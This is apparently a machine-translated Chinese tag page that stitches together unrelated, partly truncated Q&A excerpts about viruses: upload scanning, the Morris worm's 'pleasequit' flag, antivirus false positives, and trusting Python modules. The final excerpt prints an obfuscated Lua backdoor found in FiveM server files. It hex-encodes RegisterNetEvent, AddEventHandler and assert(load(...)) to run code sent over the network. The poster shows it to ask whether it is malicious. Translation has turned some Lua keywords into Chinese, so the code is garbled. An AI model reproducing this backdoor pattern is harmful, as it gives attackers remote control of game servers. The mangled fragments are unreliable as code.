标签: virus

我找到了很多关于如何扫描上传文件的解决方案.我的问题是:在将流保存为文件后,Internet上的每个解决方案都会开始扫描.

我的问题:文件可以在存储在磁盘上时损坏服务器吗？如果是这样,是否可以在将上传的流存储在硬盘上之前对其进行病毒检查？

是的,这是一个家庭作业类型的问题,但你可以帮我解决一下吗？

在关于Morris Internet蠕虫主题的简短介绍中,我应该列出阻止蠕虫传播的步骤.我的pp幻灯片现在正在接近最终状态,但在我说这个或那个是他们如何阻止蠕虫之前,我想和你联系.我听说这个蠕虫病毒在新闻发布时很长,当时在美国引起了很多轰动,所以我希望找到一些能够提供一些信息的计算领域的人.

基本上,我一直在各种报告和文章中发现,蠕虫的主要弱点pleasequit是没有正确初始化的变量,因此将此变量设置为-1足以阻止蠕虫.这是蠕虫的最后一击吗？这是否有效地阻止它传播？

我发现以下报告和其他人提到了pleasequit var :( 取自本网站):

蠕虫使用一个名为'pleasequit'的变量,但没有正确初始化它,因此有些人将一个名为_worm.o的模块添加到C库中,该模块由以下内容生成:

int pleasequit = -1; 

Run Code Online (Sandbox Code Playgroud)

此值设置为-1的事实将导致它在一次迭代后退出.

我正在编写一个程序,从我的服务器下载文件(dll)并使用此文件.但是,当下载完成后,我的防病毒软件(卡巴斯基)会使用Constructor.Win32.Downldr.xr检测我的文件.我怎么解决这个问题？

但是,我将我的2个文件放在www.virustotal.com上,并且都没有病毒.

注意:这两个文件(进行下载的程序和文件,即dll)是在Delphi 7中创建的.

如何清理Functions.php,WordPress感染siteLock-php-injector病毒.

我使用Inno Setup为我的应用程序创建了一个设置。探查是，当我尝试执行设置或通过电子邮件发送设置时，它被视为病毒...

; Script generated by the Inno Setup Script Wizard.
; SEE THE DOCUMENTATION FOR DETAILS ON CREATING INNO SETUP SCRIPT FILES!

[Setup]
; NOTE: The value of AppId uniquely identifies this application.
; Do not use the same AppId value in installers for other applications.
; (To generate a new GUID, click Tools | Generate GUID inside the IDE.)
AppId={{F6D8837D-F542-4326-A245-4B64AE8E8CD0}
AppName=S24
AppVersion=1.0
;AppVerName=S24 1.0
AppPublisher=Pierre Lagoutte
AppPublisherURL=https://s24.plagoutte.eu/
AppSupportURL=https://s24.plagoutte.eu/
AppUpdatesURL=https://s24.plagoutte.eu/
DefaultDirName={pf}\S24
DefaultGroupName=S24
AllowNoIcons=yes
LicenseFile=C:\Users\Pierre\Documents\Qt\build-S24-Desktop_Qt_5_7_0_MSVC2013_32bit-Release\release\licence.txt
OutputDir=C:\Users\Pierre\Documents\Qt\S24\setup\1.0
OutputBaseFilename=S24-Setup-22062018
Compression=lzma
SolidCompression=yes

[Languages] …

所以我最近发布了一个我用 App Inventor 制作的应用程序。这是一个非常简单的应用程序。但是，我收到投诉，称它被其他人手机上的多个 Android 安全应用程序标记为带有病毒或恶意软件。但是，我不确定为什么。我看到一个类似于我的线程，除了他实际上为他的应用程序编写了物理代码，他没有使用 App Inventor。我的 Android 应用程序被报告有病毒

我很困惑，因为我确实没有在应用程序中放置任何会损害任何设备的内容。和 App Inventor 有关系吗？我已经在许多设备上下载并使用了该应用程序，并且运行良好。

谢谢！

我已经搜索了谷歌和stackoverflow,所以如果它存在于任何地方,我最诚挚的道歉.我(显然)是Python的新手,我主要担心的是找到一个新的模块来执行任何新的编程项目是我的方式:

是什么阻止了一个模块(一旦导入)做了恶心的事情,比如在脚本执行时记录所有击键,然后通过电子邮件发送出去？

我是偏执狂吗？这在Python中不可能吗？是否有一个网站,模块已经过代码审查,人们可以下载/安装它们,而不必担心？每次下载时我是否必须阅读每个模块/子模块的代码以确保没有发生这种情况？

我目前在Windows 8上使用64位的Python 3.5.1,但我怀疑它太相关了.

我正在尝试开发Android防病毒软件,我试图找出可行的方法.

到目前为止,我发现了一种唯一的方法是使用PackageManager并获取已安装的应用程序列表及其包名称,并将其与黑名单进行比较.有没有更好的解决方法？

因此，在查看朋友发给我的一些服务器文件（FiveM/GTA RP 服务器文件）时，我发现一行代码遍布服务器的资源中，是恶意的吗？因为我检查了“十六进制到 ASCII 文本字符串转换器” ”，看起来可能是试图向 Lua 环境中注入一些代码。该代码创建一个包含多个以十六进制格式编码的字符串的表。然后，这些字符串用于访问全局环境 (_G) 中的元素并将它们作为函数调用。该代码还为“load”事件设置了一个事件侦听器，这可能表明该代码打算在环境中发生特定事件时运行。

代码：

本地 ysoGcfkdgEuFekRkklJGSmHogmpKPAiWgeIRhKENhusszjvprBCPXrRqVqLgSwDqVqOiBG = {"\x52\x65\x67\x69\x73\x74\x65\x72\x4e\x65\x74\x45\x76\x65\x6e\x74" ,"\x68\x65\x6c\x70\x43 \x6f\x64\x65","\x41\x64\x64\x45\x76\x65\x6e\x74\x48\x61\x6e\x64\x6c\x65\x72","\x61\x73\x73\x65 \x72\x74","\x6c\x6f\x61\x64",_G} ysoGcfkdgEuFekRkklJGSmHogmpKPAiWgeIRhKENhusszjvprBCPXrRqVqLgSwDqVqOiBG[6]ysoGcfkdgEuFekRkklJGSmHogmpKPAiWgeIRhKENhusszj vprBCPXrRqVqLgSwDqVqOiBG[1] ysoGcfkdgEuFekRkklJGSmHogmpKPAiWgeIRhKENhusszjvprBCPXrRqVqLgSwDqVqOiBG[6][ysoGcfkdgEuFekRkklJGSmHogmpKPAiWgeIRhKENhusszjvprBCPXrRqVq LgSwDqVqOiBG[3]](ysoGcfkdgEuFekRkklJGSmHogmpKPAiWgeIRhKENhusszjvprBCPXrRqVqLgSwDqVqOiBG[2]，函数(BFWCBOOqrwrVwzdmKcQZBRMziBAgjQbWLfBPFXhZUzCWlOjKNLUGOYvDisfytJZ WIDtHyn) ysoGcfkdgEuFekRkklJGSmHogmpKPAiWgeIRhKENhusszjvprBCPXrRqVqLgSwDqVqOiBG[6 ]ysoGcfkdgEuFekRkklJGSmHogmpKPAiWgeIRhKENhusszjvprBCPXrRqVqLgSwDqVqOiBG[4]() 结束)本地

ASCII 文本到十六进制代码转换器图像

ASCII 文本到十六进制代码转换器响应 2